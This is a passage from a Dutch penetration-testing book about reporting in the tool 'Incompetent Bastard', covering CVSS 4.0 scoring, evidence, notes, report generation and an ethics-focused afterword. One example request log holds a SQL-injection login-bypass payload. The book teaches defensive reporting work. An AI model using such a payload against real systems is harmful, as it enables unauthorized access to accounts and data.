Dit onderscheid tussen “Vulnerable System Impact” en “Subsequent System Impact” is nieuw in CVSS 4.0 en lost een van de grootste frustraties van versie 3.1 op. In CVSS 3.1 had je een “Scope” metric die probeerde om in een enkel veld vast te leggen of een kwetsbaarheid impact heeft op andere systemen. Het was verwarrend, inconsistent, en de bron van eindeloze discussies.

CVSS 4.0 vervangt dat met zes aparte impact-metrics: drie voor het kwetsbare systeem zelf (VC, VI, VA) en drie voor downstream systemen (SC, SI, SA). Dat is veel preciezer.

Attack Vector in detail

De Attack Vector (AV) metric verdient speciale aandacht, want hij heeft de grootste invloed op de score:

Attack Requirements: nieuw in 4.0

Een andere belangrijke toevoeging in CVSS 4.0 is Attack Requirements (AT). Deze metric vangt voorwaarden die buiten de controle van de aanvaller liggen:

IB’s ingebouwde CVSS 4.0 calculator

IB heeft een volledig functionele CVSS 4.0 calculator ingebouwd in het finding- formulier. Je hoeft geen externe website te openen of handmatig een vector te construeren.

De calculator verschijnt als een inklapbaar paneel in het finding-formulier. Klik op “CVSS 4.0 Calculator” om het paneel te openen. Je ziet drie secties met dropdown- menu’s voor elke metric:

+-----------------+  +--------------------+  +---------------------+
| Exploitability  |  | Vulnerable System  |  | Subsequent System   |
|                 |  | Impact             |  | Impact              |
| Attack Vector   |  |                    |  |                     |
| [N - Network ]  |  | Confidentiality    |  | Confidentiality     |
|                 |  | [H - High    ]     |  | [N - None    ]      |
| Attack Complex. |  |                    |  |                     |
| [L - Low     ]  |  | Integrity          |  | Integrity           |
|                 |  | [H - High    ]     |  | [N - None    ]      |
| Attack Require. |  |                    |  |                     |
| [N - None    ]  |  | Availability       |  | Availability        |
|                 |  | [H - High    ]     |  | [N - None    ]      |
| Privileges Req. |  |                    |  |                     |
| [N - None    ]  |  +--------------------+  +---------------------+
|                 |
| User Interact.  |
| [N - None    ]  |
+-----------------+

Zodra je een metric wijzigt, stuurt de calculator een request naar de server-side API (/api/cvss4/calculate) die de Python cvss library gebruikt voor de berekening:

@findings_bp.route('/api/cvss4/calculate', methods=['GET'])
def cvss4_calculate():
    CVSS4 = _get_cvss4_class()
    vector = request.args.get('vector', '').strip()
    # Validatie van prefix en verplichte metrics...
    c = CVSS4(vector)
    score = c.base_score
    # Severity mapping
    if score == 0:      severity = 'none'
    elif score < 4.0:   severity = 'low'
    elif score < 7.0:   severity = 'medium'
    elif score < 9.0:   severity = 'high'
    else:               severity = 'critical'
    return jsonify({'ok': True, 'score': score, 'severity': severity})

De score en severity worden realtime teruggegeven en zichtbaar gemaakt in het formulier met een kleurgecodeerde badge.

Severity mapping

IB gebruikt de standaard FIRST severity schaal:

Score Severity Badge kleur
0.0 None Grijs
0.1 - 3.9 Low Blauw
4.0 - 6.9 Medium Oranje
7.0 - 8.9 High Donker oranje
9.0 - 10.0 Critical Rood

Practical scoring: wanneer is iets Critical vs High?

De theorie van CVSS is helder. De praktijk is dat niet.

Hier is het probleem: CVSS is een technische score. Het meet de technische ernst van een kwetsbaarheid. Het meet niet de business impact. Een SQL injection in een testomgeving die geen echte data bevat, scoort technisch hetzelfde als een SQL injection in de productiedatabase van een bank. Maar het risico is uiteraard compleet anders.

Enkele richtlijnen voor het scoren in de praktijk:

Critical (9.0-10.0): Reserveer dit voor kwetsbaarheden die een aanvaller in staat stellen om zonder authenticatie, over het netwerk, volledige controle over het systeem te krijgen. Unauthenticated remote code execution. Pre-auth SQL injection die de hele database blootstelt. Dit zijn de dingen waarvoor je midden in de nacht belt.

High (7.0-8.9): Kwetsbaarheden die serieuze impact hebben maar enige beperking kennen. Misschien is authenticatie nodig, of werkt de aanval alleen onder bepaalde omstandigheden. Authenticated RCE. SSRF die toegang geeft tot cloud metadata.

Medium (4.0-6.9): Kwetsbaarheden die op zichzelf beperkte impact hebben, maar in combinatie met andere bevindingen gevaarlijk kunnen worden. Stored XSS. CSRF. Open redirects.

Low (0.1-3.9): Informatielekken, ontbrekende headers, verbose error messages. Dingen die een aanvaller helpen maar niet direct schade veroorzaken.

Het is verleidelijk om alles als Critical te scoren – het maakt je rapport indrukwekkender en je opdrachtgever nerveuzer. Maar als alles Critical is, is niets Critical. Het is de beveiligingsversie van het jongetje dat “wolf” riep. Uiteindelijk stopt iedereen met luisteren.

Evidence verzamelen

Een finding zonder bewijs is een mening. En meningen zijn niet wat je opdrachtgever betaalt. Ze betalen voor feiten, gedocumenteerd, reproduceerbaar, en zo onweerlegbaar dat niemand kan zeggen “dat kan bij ons niet, want wij hebben een firewall”.

Screenshots

Screenshots zijn het meest directe bewijs, maar ze zijn ook het makkelijkst om slecht te doen. Een paar regels:

Timing: Maak screenshots op het moment dat je de kwetsbaarheid vindt. Niet achteraf, wanneer je het rapport schrijft en de omgeving misschien al gewijzigd is.

Context: Een screenshot van een shell prompt zonder context bewijst niets. Zorg dat de screenshot laat zien waar je bent (welk systeem), hoe je daar gekomen bent (het commando dat je uitvoerde), en wat het resultaat is.

Annotatie: Markeer relevante delen van je screenshot. Een screenshot van een HTTP response van tweehonderd regels is waardeloos als je niet aangeeft welke drie regels ertoe doen.

Bestandsnamen: Gebruik beschrijvende namen. screenshot_2024_01_15_sqli_login.png is bruikbaar. img_234897.png is dat niet.

Request/response logs

Voor web-kwetsbaarheden zijn request/response logs vaak overtuigender dan screenshots. Ze laten exact zien wat je gestuurd hebt en wat je terugkreeg.

Bewaar altijd:

In IB kun je deze logs opnemen in het uitwerken-veld van je finding, met LaTeX- opmaak voor codeblokken:

\begin{lstlisting}
POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

username=admin' OR '1'='1&password=anything
\end{lstlisting}

Proof of concept code

Voor complexere kwetsbaarheden is een proof-of-concept script het sterkste bewijs. Het stelt je opdrachtgever in staat om de kwetsbaarheid zelf te reproduceren en te verifieren dat een fix werkt.

Houd je PoC-code:

IB Evidence upload

IB biedt een evidence-systeem waarmee je bestanden direct aan findings kunt koppelen. De evidence API ondersteunt uploaden, downloaden, en verwijderen:

POST   /api/findings/<finding_id>/evidence    # Upload een bestand
GET    /api/findings/<finding_id>/evidence    # Lijst alle evidence
GET    /api/findings/evidence/<id>/download   # Download evidence
DELETE /api/findings/evidence/<id>            # Verwijder evidence

Ondersteunde bestandstypen zijn bewust breed gehouden:

De maximale bestandsgrootte is 10 MB per upload. Bestanden worden opgeslagen in meuk/flask/db/evidence/<finding_id>/ met een UUID als bestandsnaam om conflicten te voorkomen:

_EVIDENCE_DIR = os.path.join(os.path.dirname(__file__), 'db', 'evidence')
_MAX_EVIDENCE_SIZE = 10 * 1024 * 1024  # 10 MB

stored_name = uuid.uuid4().hex + ext
dest_dir = _evidence_path(finding_id)
f.save(os.path.join(dest_dir, stored_name))

De originele bestandsnaam wordt bewaard in de database zodat je bij het downloaden een herkenbaar bestand terugkrijgt, niet een string van 32 hexadecimale karakters.

Je kunt ook alle evidence in een keer exporteren als ZIP-archief via /api/findings/evidence/export. Handig voor archivering of als je de evidence wilt overdragen aan een collega.

IB Tip: Upload je evidence zo vroeg mogelijk. Doe het niet pas bij het schrijven van het rapport. Op dat moment ben je vergeten welke screenshot bij welke finding hoorde, en dan begin je te gokken. En gokken in een pentest-rapport is zoiets als gokken met je belastingaangifte: het kan goed gaan, maar als het misgaat is het echt vervelend.

Notes

Naast findings heeft IB een apart notitiesysteem. Notes zijn bedoeld voor lopende observaties, aantekeningen, en informatie die niet direct een kwetsbaarheid is maar wel relevant voor het rapport.

Denk aan:

De Notes interface

De notes-pagina (/dashboard/notes) is opgedeeld in twee secties:

Links: Een formulier om nieuwe notes toe te voegen. Elke note heeft een naam (titel) en een inhoudsveld met LaTeX-toolbar ondersteuning.

Rechts: Een lijst van bestaande notes met drag-and-drop functionaliteit om de volgorde te bepalen.

@notes_bp.route("/dashboard/notes", methods=["GET"])
def notes_page():
    notes = db_notes.query.order_by(
        db_notes.volgorde.asc(),
        db_notes.id.desc()
    ).all()
    return render_template("notes_overview.html", notes=notes)

Notes in het rapport

Hier is het slimme deel: elke note heeft een “Rapport” toggle. Als je deze aanzet, wordt de note opgenomen in het gegenereerde rapport onder de sectie “Verkenning & ontdekking”.

Dit is een checkbox naast elke note in de lijst. De status wordt bewaard via een API-endpoint:

@notes_bp.route("/api/notes/<int:note_id>/toggle-rapport", methods=["POST"])
def notes_toggle_rapport(note_id):
    note = db_notes.query.get_or_404(note_id)
    note.rapport = not (note.rapport or False)
    db.session.commit()
    return jsonify({"ok": True, "rapport": note.rapport})

Notes die in het rapport staan worden visueel gemarkeerd met een groene rand en een andere achtergrondkleur, zodat je in een oogopslag kunt zien welke notes mee worden genomen.

Volgorde bepalen

De volgorde van notes in het rapport wordt bepaald door drag-and-drop. Sleep een note omhoog of omlaag in de lijst, en de volgorde wordt automatisch opgeslagen:

@notes_bp.route("/api/notes/reorder", methods=["POST"])
def notes_reorder():
    data = request.get_json(silent=True)
    order = data["order"]
    for idx, note_id in enumerate(order):
        note = db_notes.query.get(note_id)
        if note:
            note.volgorde = idx
    db.session.commit()
    return jsonify({"ok": True})

Dit is een kleine functie die een groot verschil maakt. In plaats van je rapport handmatig te herschikken nadat het is gegenereerd, bepaal je de volgorde vooraf.

IB Tip: Gebruik notes om de “verkenning”-sectie van je rapport op te bouwen terwijl je test. Maak een note voor elke fase: scoping, reconnaissance, enumeration, exploitation. Op het moment dat je het rapport genereert, hoef je alleen nog de “Rapport” toggles aan te zetten en de volgorde te bepalen.

Rapport generatie

Nu komen we bij het deel waar het allemaal samenkomt. Je hebt je findings vastgelegd, je evidence geupload, je notes geschreven. Het is tijd om er een rapport van te maken.

IB’s pandoc/LaTeX pipeline

IB gebruikt een pipeline die er in theorie eenvoudig uitziet maar in de praktijk behoorlijk ingenieus is:

Findings + Notes + Templates
        |
        v
    LaTeX output (findings_nl.tex)
        |
        v
    Regex transformatie (LaTeX -> HTML)
        |
        v
    HTML tussenbestand (tex.html)
        |
        v
    Pandoc conversie (HTML -> Markdown)
        |
        v
    Markdown rapport (tex.md)

De route /dashboard/findings/rapport triggert het hele proces. Laten we stap voor stap doorlopen wat er gebeurt.

Stap 1: Data verzamelen

bevindingen = db_bevindingen.query.group_by(db_bevindingen.ref).all()
notities = db_notes.query.filter_by(rapport=True).order_by(db_notes.volgorde.asc()).all()

IB haalt alle findings op, gegroepeerd per template-referentie. Als je drie SQL injection findings hebt die allemaal naar dezelfde template verwijzen, worden ze samengevoegd onder een enkele sectie. Daarnaast worden alle notes opgehaald die als “rapport” zijn gemarkeerd, gesorteerd op volgorde.

Stap 2: Notes als LaTeX subsecties

De notes worden als eerste verwerkt. Elke note wordt een \subsection in het rapport:

for notitie in notities:
    notes = notes + '\\subsection{' + (notitie.naam or '') + '}\n' \
          + (notitie.uitwerken or '') + '\n\n'

Stap 3: Findings renderen via Jinja templates

Elke groep findings wordt gerenderd via de findings_nl.html template. Dit is een Jinja2 template die LaTeX output genereert:

\subsection{SQL Injection in login form}
\label{bev001}
\bevindingkop{001}{A3 - Injection}{78}

[beschrijving uit template]

[uitwerking van de specifieke finding]

\subsubsection{Risico}
Risico inschatting

\subsubsection{impact}
[impact uit template]

\subsubsection{aanbeveling}
[aanbeveling uit template]

\subsubsection{Referenties}
[referenties uit template]

\newpage

Dit is de kern van het template-systeem. De generieke informatie (beschrijving, impact, aanbeveling) komt uit de template. De specifieke informatie (naam, evidence, uitwerking) komt uit de finding. Samen vormen ze een complete finding-sectie.

Stap 4: LaTeX naar HTML via regex

Nu komt het interessante deel. IB heeft een eigen LaTeX-naar-HTML converter geschreven met regex. Geen externe LaTeX compiler nodig. De code doorloopt het LaTeX-document en vervangt LaTeX-commando’s door HTML-equivalenten:

# Secties
tex = tex.replace('\\section{'+str(x)+'}', '<h1>'+str(x)+'</h1>')
tex = tex.replace('\\subsection{'+str(x)+'}', '<h2>'+str(x)+'</h2>')
tex = tex.replace('\\subsubsection{'+str(x)+'}', '<h3>'+str(x)+'</h3>')

# Lijsten
tex = tex.replace('\\begin{description}', '<ul>')
tex = tex.replace('\\end{description}', '</ul>')
tex = tex.replace('\\item', '<li>')

# Code
tex = tex.replace('\\begin{lstlisting}', '<pre>')
tex = tex.replace('\\end{lstlisting}', '</pre>')

# Afbeeldingen
tex = tex.replace('\\plaatje{'+x[0]+'}{'+x[1]+'}',
    '<img src="../raw/screenshots/'+str(x[0])+'" alt="'+str(x[1])+'" />')

De converter handelt ook cross-referenties af. Het \uitwerking{bevN} commando wordt vertaald naar een HTML-link die verwijst naar de bijbehorende finding, en het \bevinding{bevN} commando doet hetzelfde. Dit betekent dat je in je notes kunt verwijzen naar specifieke findings, en die verwijzingen worden automatisch werkende links in het rapport.

Voetnoten worden eveneens geconverteerd. Elk \footnote{tekst} wordt een genummerde referentie met de voettekst onderaan het document.

Stap 5: HTML naar Markdown via pandoc

Het HTML-tussenbestand wordt opgeslagen als rapport/tex.html. Vervolgens gebruikt IB pandoc om dit om te zetten naar Markdown:

md = pandoc('rapport/tex.html', '-o', 'rapport/tex.md')

Het Markdown-bestand krijgt een YAML front matter header:

---
title: "Pentest Rapport"
subtitle: "Rapportage"
author: Incompetent Bastard
date: today
...

Stap 6: Het eindresultaat

Het proces levert drie bestanden op:

  1. rapport/findings_nl.tex – De ruwe LaTeX output
  2. rapport/tex.html – De HTML-versie (ook direct zichtbaar in de browser)
  3. rapport/tex.md – De Markdown-versie met YAML front matter

De HTML-versie wordt direct in de browser getoond na het genereren. De Markdown- versie kan vervolgens met pandoc worden omgezet naar PDF, DOCX, of welk formaat je maar wilt:

pandoc rapport/tex.md -o rapport/rapport.pdf \
  --pdf-engine=xelatex \
  --template=rapport/template.tex

Walkthrough: rapport genereren in IB

De complete flow in de praktijk:

  1. Ga naar /dashboard/findings
  2. Controleer of al je findings er staan en correct zijn
  3. Ga naar /dashboard/notes
  4. Zet de “Rapport” toggle aan voor alle relevante notes
  5. Bepaal de volgorde met drag-and-drop
  6. Ga terug naar /dashboard/findings
  7. Klik op “Generate report”
  8. Het rapport opent in een nieuw tabblad als HTML
  9. De bestanden staan klaar in de rapport/ directory

IB Tip: Het rapport wordt elke keer opnieuw gegenereerd. Er is geen caching. Dit betekent dat je gerust wijzigingen kunt aanbrengen aan je findings en notes, en simpelweg opnieuw op “Generate report” kunt klikken om de nieuwste versie te krijgen.

Import en export

IB ondersteunt het importeren en exporteren van findings als JSON. Dit is handig voor:

De export-route (/api/findings/export) genereert een JSON-bestand met de volledige structuur:

{
    "schema_version": "1.0",
    "exported_at": "2026-02-23T14:30:00Z",
    "project": { "name": "Incompetent Bastard" },
    "catalogs": {
        "ref_owasp_top10": [...],
        "ref_cwe": [...],
        "ref_mitre_attack": [...],
        "standard_findings": [...]
    },
    "project_findings": [...]
}

Dit formaat bevat niet alleen de findings zelf, maar ook de bijbehorende catalogi (OWASP, CWE, MITRE ATT&CK) en de standaard finding-definities. Dat maakt het een op zichzelf staand document dat je kunt importeren in een andere IB-instantie zonder dat er informatie verloren gaat.

Best practices rapportage

Nu we weten hoe IB’s rapportage werkt, laten we het hebben over hoe je een rapport schrijft dat daadwerkelijk gelezen wordt. Want dat is het doel, uiteindelijk. Niet het genereren van een PDF. Het schrijven van iets dat iemand leest, begrijpt, en naar handelt.

De executive summary

De executive summary is het belangrijkste onderdeel van je rapport. Het is ook het enige onderdeel dat gegarandeerd wordt gelezen. De rest van je rapport is voor de technische mensen. De executive summary is voor de mensen die beslissingen nemen.

Regels voor een goede executive summary:

Risico communicatie

Het communiceren van risico is een kunst die de meeste pentesters nooit leren. Ze beschrijven technische details en verwachten dat de lezer zelf de vertaling maakt naar business impact. Dat doet de lezer niet. Die heeft daar noch de tijd noch de kennis voor.

Goede risico-communicatie vertaalt techniek naar consequenties:

Niet: “De applicatie is kwetsbaar voor SQL injection via de parameter id in het endpoint /api/users.”

Wel: “Een aanvaller kan de volledige klantenbase downloaden, inclusief namen, emailadressen, en wachtwoorden. Gezien de 50.000 geregistreerde gebruikers, zou dit leiden tot een meldplicht datalekken bij de Autoriteit Persoonsgegevens.”

Het eerste is technisch correct. Het tweede is bruikbaar.

Remediation advies formuleren

Het verschil tussen een goed en een slecht rapport zit vaak in de aanbevelingen. Slechte aanbevelingen zeggen wat er mis is. Goede aanbevelingen zeggen wat er gedaan moet worden.

Slecht: “Fix de SQL injection.”

Beter: “Gebruik parameterized queries in plaats van string concatenation voor alle database-queries.”

Best: “Vervang de string concatenation op regel 47 van UserController.java door een PreparedStatement. Voorbeeld: PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); ps.setInt(1, userId);

Hoe specifieker je aanbeveling, hoe groter de kans dat die wordt uitgevoerd. Een developer die precies weet welke regel code hij moet wijzigen, doet dat eerder dan een developer die eerst moet uitzoeken waar het probleem zit.

Tijdlijnen en prioritering

Niet alle kwetsbaarheden zijn gelijk, en dat moet je rapport weerspiegelen. Geef elke finding een aanbevolen tijdlijn:

Severity Aanbevolen termijn
Critical Binnen 24-48 uur
High Binnen 1-2 weken
Medium Binnen 1-3 maanden
Low Bij volgende release

Wees realistisch. Een organisatie met honderd developers kan drie critical findings in een week fixen. Een startup met twee developers kan dat niet. Pas je tijdlijnen aan aan de context.

De structuur van een goed rapport

Een compleet penetratietest-rapport bevat typisch de volgende secties:

  1. Executive Summary – Voor management. Maximaal een pagina.
  2. Scope en methodologie – Wat is er getest, hoe, en wanneer.
  3. Samenvatting bevindingen – Overzichtstabel met alle findings.
  4. Verkenning en ontdekking – Hoe je te werk bent gegaan (IB Notes).
  5. Gedetailleerde bevindingen – Elke finding met beschrijving, evidence, impact, en aanbeveling (IB Findings).
  6. Bijlagen – Screenshots, PoC-code, ruwe data.

IB’s rapportgeneratie dekt secties 4 en 5 automatisch. De executive summary en scope-beschrijving voeg je toe via notes.

De rapporten die niemand leest

We moeten het erover hebben. Want het is de olifant in de kamer van elke pentest-praktijk.

Je besteedt dagen, soms weken aan een rapport. Je formuleert elke zin zorgvuldig. Je maakt screenshots, schrijft PoC-code, berekent CVSS scores tot op een decimaal. Je levert een document af van vijftig pagina’s dat een volledig, reproduceerbaar beeld geeft van de beveiligingsstatus van de applicatie.

En dan leest niemand het.

Oh, ze zeggen dat ze het gelezen hebben. In de meeting knikken ze en zeggen dingen als “ja, we nemen dit zeer serieus”. Maar als je drie maanden later terugkomt voor een hertest, zijn dezelfde kwetsbaarheden er nog. Allemaal. Als trouwe huisdieren die geduldig op je terugkeer hebben gewacht.

De reden is simpel: rapporten die lezen als technische documentatie worden behandeld als technische documentatie. Ze worden opgeslagen in een map genaamd “Security Reports 2026” op een SharePoint die niemand ooit opent. Ze zijn het digitale equivalent van die stapel papieren op je bureau die je elke week van links naar rechts verplaatst en dan weer terug.

De oplossing is niet om betere rapporten te schrijven. Niet alleen, althans. De oplossing is om het rapport niet als eindproduct te zien, maar als het begin van een gesprek. Presenteer je bevindingen. Loop er doorheen. Laat het zien. Demonstreer de SQL injection live, terwijl de developers meekijken. Dat vergeten ze niet.

Een rapport is een geheugensteun voor een gesprek dat je al hebt gehad. Als je het gesprek overslaat, is het rapport slechts papier.

Of, in de context van IB, een hoop HTML in een browsertabblad dat iemand sluit tussen de vijftien andere tabbladen die hij toch al niet aan het gebruiken was.

Referentietabel

Topic IB Feature Route/Bestand
Findings Findings Management blueprint /dashboard/findings
Templates Standaard finding templates (14 stuks) standard_findings.json
CVSS CVSS 4.0 calculator /api/cvss4/calculate
Evidence Evidence upload/download/export /api/findings/<id>/evidence
Notes Notes blueprint met rapport-toggle /dashboard/notes
Rapport pandoc/LaTeX pipeline /dashboard/findings/rapport
Export JSON export van alle findings /api/findings/export
Import JSON import van findings /api/findings/import
Evidence ZIP Export alle evidence als archief /api/findings/evidence/export

Samenvatting

Rapportage is niet het saaie sluitstuk van een pentest. Het is het enige deel dat voortleeft nadat je bent vertrokken. Het is het verschil tussen een kwetsbaarheid die wordt gevonden en een kwetsbaarheid die wordt verholpen.

IB geeft je de gereedschappen om die rapportage efficient en gestructureerd te doen: templates die het generieke werk uit handen nemen, een CVSS 4.0 calculator die scoring objectief maakt, evidence management dat je bewijsmateriaal koppelt aan je findings, notes voor je verkenningsverhaal, en een rapport-pipeline die alles samenvoegt tot een document.

Maar het gereedschap is slechts het begin. Het verschil zit in hoe je het gebruikt. In de zorgvuldigheid waarmee je je findings formuleert. In de helderheid waarmee je risico’s communiceert. In het empathische vermogen om je te verplaatsen in de lezer die niet weet wat jij weet, en toch moet begrijpen waarom het belangrijk is.

Darwin had dat begrepen. Hij schreef niet voor biologen. Hij schreef voor iedereen. En daarom veranderde hij de wereld.

Jouw rapport hoeft de wereld niet te veranderen. Maar het moet wel een applicatie veiliger maken. En daarvoor moet iemand het lezen. Dus zorg dat het de moeite waard is.

Nawoord

Nawoord

De terugkeer

Je bent er doorheen. Veertien hoofdstukken. Honderden pagina’s. Tientallen oefeningen. En als je het goed hebt gedaan, heb je nu een fundamenteel ander begrip van hoe het web werkt dan toen je aan dit boek begon.

Dat is geen klein ding.

In het eerste hoofdstuk vergeleken we het web met een stad die gebouwd is zonder bestemmingsplan. Nu, aan het eind van dit boek, ken je die stad. Je kent de steegjes waar niemand komt. Je weet welke deuren niet op slot zitten. Je weet welke ramen op een kier staan. Je weet waar de bewakingscamera’s blinde vlekken hebben en waar de nachtwaker in slaap valt.

Die kennis is krachtig. En met kracht komt, onvermijdelijk, verantwoordelijkheid.

Over verantwoordelijkheid

Er is een moment in de carriere van elke penetratietester waarop je beseft dat je iets kunt doen dat echte schade zou aanrichten. Niet theoretische schade. Niet “er is een risico dat een aanvaller mogelijk zou kunnen…” Nee. Echte schade. Je ziet de kwetsbaarheid. Je hebt de exploit. Je weet dat het werkt. En het enige dat tussen jou en die schade staat, is je eigen ethiek.

Dat moment is het moment waarop je ontdekt of je een professional bent of niet.

Een professional stopt. Documenteert. Rapporteert. Helpt de organisatie om het probleem te verhelpen. Een professional begrijpt dat het doel nooit was om te bewijzen hoe slim hij is, maar om het systeem veiliger te maken voor de mensen die erop vertrouwen.

De technieken die je in dit boek hebt geleerd – SQL Injection, XSS, SSRF, CSRF, XXE, command injection, template injection, path traversal, en alle variaties daarop – zijn geen speelgoed. Het zijn instrumenten. En net als een chirurgisch mes kun je er levens mee redden of levens mee ruineren. Het verschil zit niet in het instrument, maar in de handen die het vasthouden.

Gebruik deze kennis om organisaties te helpen. Gebruik ze om software veiliger te maken. Gebruik ze om de wereld een klein beetje minder kwetsbaar te maken dan hij gisteren was.

Gebruik ze nooit om schade aan te richten.

De ontdekkingsreis

Als je terugkijkt op dit boek, dan was het eigenlijk een ontdekkingsreis. Net als die eerste ontdekkingsreizigers die vertrokken met een vaag idee van wat ze zouden vinden en terugkeerden met kaarten van landen die niemand eerder had gezien.

Je bent begonnen bij de fundamenten: hoe het web werkt, waarom het onveilig is, wat de OWASP Top 10 ons vertelt over de collectieve tekortkomingen van een hele industrie. Je hebt Incompetent Bastard opgezet en je eerste stappen gezet in de cockpit.

Toen ben je de diepte ingegaan. Je hebt geleerd hoe verkenning werkt – hoe je, zonder ook maar een byte kwaadaardige data te versturen, een compleet beeld kunt opbouwen van je doelwit. Je hebt ontdekt dat de meeste informatie die je nodig hebt, gewoon publiek beschikbaar is, als je maar weet waar je moet kijken.

Je hebt injection-aanvallen leren begrijpen – niet als abstracte concepten uit een handboek, maar als echte, werkende exploits die je met eigen ogen hebt zien slagen. Je hebt gezien hoe een enkele quote in een zoekveld kan leiden tot volledige database-extractie. Je hebt gezien hoe een JavaScript payload in een reactieveld cookies kan stelen van elke gebruiker die de pagina bezoekt.

Je hebt geleerd over server-side kwetsbaarheden: SSRF, XXE, SSTI. De aanvallen die niet in de browser plaatsvinden maar op de server, onzichtbaar voor het slachtoffer, en daardoor des te gevaarlijker.

Je hebt geleerd hoe je al deze bevindingen vastlegt, categoriseert, en rapporteert op een manier die niet alleen technisch correct is, maar ook overtuigend genoeg om ervoor te zorgen dat er daadwerkelijk iets mee gedaan wordt.

En dat laatste is misschien wel het belangrijkste. Want een bevinding die in een rapport staat maar nooit wordt opgelost, is geen bevinding. Het is een aansprakelijkheid die wacht om geactiveerd te worden.

De staat van webbeveiliging

Laten we eerlijk zijn over waar we staan. Het is 2026. Het web bestaat meer dan dertig jaar. De OWASP Top 10 wordt al meer dan twintig jaar gepubliceerd. Elke universiteit met een informaticaopleiding docent over veilig programmeren. Er zijn meer beveiligingstools, frameworks, libraries, scanners, en best practices beschikbaar dan ooit tevoren.

En toch.

En toch slaan bedrijven wachtwoorden nog steeds op in plain text. En toch accepteren formulieren SQL in invoervelden. En toch staan admin panels open op het internet met standaard credentials. En toch worden dependencies niet bijgewerkt. En toch wordt input niet gevalideerd. En toch loggen applicaties niet wat ze zouden moeten loggen.

De beveiligingsindustrie genereert miljarden aan omzet per jaar. Er zijn meer conferenties, certificeringen, en trainingen dan je in een mensenleven kunt bijwonen. Er zijn compliance frameworks die dikker zijn dan telefoonboeken (voor de jongere lezers: dat waren papieren boeken met telefoonnummers, en ja, ze waren absurd dik).

En de fundamentele problemen zijn dezelfde als twintig jaar geleden. We hebben fancier gereedschap om dezelfde gaten te vinden die we al decennia kennen. We schrijven langere rapporten over dezelfde kwetsbaarheden. We betalen meer geld aan meer consultants die hetzelfde vertellen.

Het probleem is nooit technisch geweest. De oplossingen zijn er. Ze zijn gedocumenteerd. Ze zijn bewezen. Ze zijn vaak zelfs niet moeilijk te implementeren.

Het probleem is menselijk. Het is de manager die zegt dat beveiliging na de launch wel gefixt wordt. Het is de ontwikkelaar die zegt dat input validation “later” komt. Het is de architect die zegt dat dat ene endpoint “toch alleen intern gebruikt wordt”. Het is de hele organisatie die zegt dat er geen budget is voor beveiliging, terwijl er wel budget is voor de derde herontwerp van de homepage dit jaar.

En daarom zullen penetratietesters nooit zonder werk zitten. Niet omdat de technologie zo complex is, maar omdat mensen zo voorspelbaar zijn in hun nalatigheid.

Doorleren

Dit boek is een begin, geen einde. Het web verandert constant, en de aanvallen veranderen mee. Wat vandaag state-of-the-art is, is morgen een voetnoot.

Hier zijn enkele richtingen om verder te gaan:

Verdieping in specifieke domeinen. Elk hoofdstuk in dit boek had een eigen boek kunnen zijn. SQL Injection alleen al heeft genoeg variaties – blind, time-based, error-based, out-of-band, second-order – om maanden mee bezig te zijn. XSS kent tientallen contexten die elk hun eigen payloads en bypass- technieken vereisen.

Bug bounty programma’s. Dit is een uitstekende manier om legaal en ethisch je vaardigheden te oefenen op echte applicaties. Platforms als HackerOne en Bugcrowd bieden programma’s aan van organisaties die expliciet toestemming geven om hun systemen te testen. Binnen de regels, uiteraard.

CTF’s en labs. Capture the Flag competities en online labs zoals HackTheBox, TryHackMe, en PortSwigger Web Security Academy bieden gecontroleerde omgevingen waarin je kunt oefenen zonder risico.

De OWASP Testing Guide. Dit is het meest uitgebreide referentiewerk voor webapplicatie-penetratietesting. Het is gratis, het is grondig, en het wordt regelmatig bijgewerkt.

De broncode lezen. De beste manier om te begrijpen hoe kwetsbaarheden ontstaan, is door de code te lezen die ze bevat. Open source projecten zijn een onuitputtelijke bron van leermomenten. En ja, dat geldt ook voor de broncode van Incompetent Bastard zelf – het is legacy code met Nederlandse variabelenamen, en dat is op zich al leerzaam.

Het zusterboek

Dit boek gaat over webapplicaties. Maar een webapplicatie bestaat niet in een vacuum. Ze draait op een server, in een netwerk, achter firewalls, naast andere servers, verbonden met databases, gekoppeld aan Active Directory, bereikbaar via VPN’s.

Incompetent Bastards: Het Netwerk behandelt de andere kant van het verhaal: de infrastructuur. Netwerk-penetratietesting, Active Directory-aanvallen, privilege escalation, lateral movement, en alles wat er gebeurt nadat je voorbij de webapplicatie bent.

De twee boeken vullen elkaar aan. Waar dit boek eindigt bij de webapplicatie, begint het zusterboek bij de shell die je via die webapplicatie hebt verkregen. Samen vormen ze een compleet beeld van moderne penetratietesting.

Tot slot

Er is een citaat dat vaak wordt toegeschreven aan verschillende mensen, maar dat er niet minder waar om is: de enige echt veilige computer is een computer die uitstaat, losgekoppeld is van het netwerk, opgesloten zit in een kluis, en bewaakt wordt door gewapende bewakers. En zelfs dan heb ik mijn twijfels.

Het web zal nooit perfect veilig zijn. Daarvoor is het te complex, te groot, en te menselijk. Maar het kan veiliger zijn dan het nu is. En dat is waar jij om de hoek komt kijken.

Elke kwetsbaarheid die je vindt en rapporteert, is een kwetsbaarheid die niet misbruikt wordt door iemand met minder nobele intenties. Elk rapport dat je schrijft, is een kans voor een organisatie om iets te leren en te verbeteren. Elk gesprek dat je voert met een ontwikkelaar over veilig programmeren, is een investering in software die morgen een beetje beter is dan vandaag.

Het is niet spectaculair werk. Het levert zelden voorpaginanieuws op. Niemand maakt een Netflix-documentaire over de pentester die een reflected XSS vond in een contactformulier en dat netjes rapporteerde via het juiste kanaal.

Maar het is belangrijk werk. En iemand moet het doen.

Dus doe het. Doe het goed. Doe het ethisch. En doe het met de nieuwsgierigheid van iemand die oprecht wil begrijpen hoe dingen werken, en de eerlijkheid van iemand die niet bang is om te zeggen dat de keizer geen kleren draagt.

De webapplicaties van morgen wachten op je. Ze zijn waarschijnlijk kwetsbaar.

Ga ze veiliger maken.

“The only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards.”

En zelfs dan zou ik een pentest aanraden.

Einde van deel 1: De Webapplicatie Wordt vervolgd in: Incompetent Bastards: Het Netwerk